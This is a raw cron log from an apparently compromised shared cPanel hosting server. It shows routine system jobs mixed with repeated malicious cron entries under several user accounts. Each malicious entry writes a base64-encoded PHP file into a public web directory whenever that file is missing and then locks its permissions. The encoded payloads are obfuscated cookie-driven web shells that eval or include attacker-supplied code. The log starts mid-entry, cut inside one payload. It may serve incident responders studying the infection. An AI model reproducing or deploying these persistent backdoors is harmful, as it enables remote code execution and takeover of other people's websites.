Jwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:41:02 medusa CROND[7627]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 08:41:02 medusa CROND[7630]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 08:41:02 medusa CROND[7632]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:41:02 medusa CROND[7635]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 08:41:02 medusa CROND[7634]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:41:02 medusa CROND[7631]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:41:02 medusa CROND[7643]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:41:02 medusa CROND[7648]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:42:01 medusa CROND[29418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:42:01 medusa CROND[29430]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:42:02 medusa CROND[29538]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 08:42:02 medusa CROND[29541]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:42:02 medusa CROND[29543]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:42:02 medusa CROND[29542]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:42:02 medusa CROND[29544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:42:02 medusa CROND[29545]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:42:02 medusa CROND[29546]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:42:02 medusa CROND[29547]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:42:02 medusa CROND[29548]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:42:02 medusa CROND[29552]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:42:02 medusa CROND[29554]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:43:01 medusa CROND[18945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:43:01 medusa CROND[19022]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:43:01 medusa CROND[19024]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:43:01 medusa CROND[19030]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:43:01 medusa CROND[19033]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 08:43:01 medusa CROND[19031]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 08:43:01 medusa CROND[19034]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:43:01 medusa CROND[19036]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:43:01 medusa CROND[19046]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:43:01 medusa CROND[19045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:43:01 medusa CROND[19047]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:43:01 medusa CROND[19048]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
